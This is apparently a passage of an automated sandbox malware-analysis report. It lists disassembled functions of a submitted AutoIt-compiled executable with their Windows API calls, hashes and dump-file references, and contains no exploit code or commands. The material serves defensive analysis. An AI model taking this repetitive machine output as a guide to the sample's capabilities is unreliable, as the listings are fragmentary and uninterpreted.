                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Enable$Show$MessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1871949834-2594219639
                                                                                                                                                  • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                  • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                                                                  • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                  • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                                                                  Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                  • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                  • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                                                                  • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                                                                  • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                    • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                  • String ID: \
                                                                                                                                                  • API String ID: 321622961-2967466578
                                                                                                                                                  • Opcode ID: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                  • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                  • Opcode Fuzzy Hash: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                                                                  • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                  Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsnicmp
                                                                                                                                                  • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                  • API String ID: 1038674560-2734436370
                                                                                                                                                  • Opcode ID: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                  • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                  • Opcode Fuzzy Hash: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                                                                  • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                  Function 004554C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 61windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32 ref: 004554DF
                                                                                                                                                  • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3691411573-2594219639
                                                                                                                                                  • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                  • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                                                                                                                                                  • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                  • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                                                                                                                                                  Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                    • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                    • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                    • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                  • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                    • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                  • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                    • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                  • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                  • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                  • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1925773019-0
                                                                                                                                                  • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                  • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                                                                  • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                  • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                                                                  Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                  • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                  • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                  • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                  • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                  • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                  • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                  • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClearVariant
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1473721057-0
                                                                                                                                                  • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                  • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                  • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                  • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                  Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                                                                    • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                  • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                                                                  • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                                                                  • _memset.LIBCMT ref: 00464B92
                                                                                                                                                  • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                  • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                  • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3424476444-0
                                                                                                                                                  • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                  • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                  • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                  • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                  Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ConnectRegistry_wcslen
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 535477410-0
                                                                                                                                                  • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                  • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                  • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                                                                  • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                                                                  Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • _memset.LIBCMT ref: 004538C4
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                  • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                  • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                  • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 3530711334-4108050209
                                                                                                                                                  • Opcode ID: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                  • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                  • Opcode Fuzzy Hash: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                                                                                                  • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                  Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                  • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                  • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 3488606520-2761332787
                                                                                                                                                  • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                  • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                  • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                  • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                  Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                    • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                    • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                  • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                  • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                  • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                  • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                  • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                  • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                  • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4082120231-0
                                                                                                                                                  • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                  • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                  • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                  • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                  Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                    • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                    • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                  • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                  • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                  • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                  • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                  • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                  • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                  • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4082120231-0
                                                                                                                                                  • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                  • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                                                                  • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                                                                  • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                                                                  Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
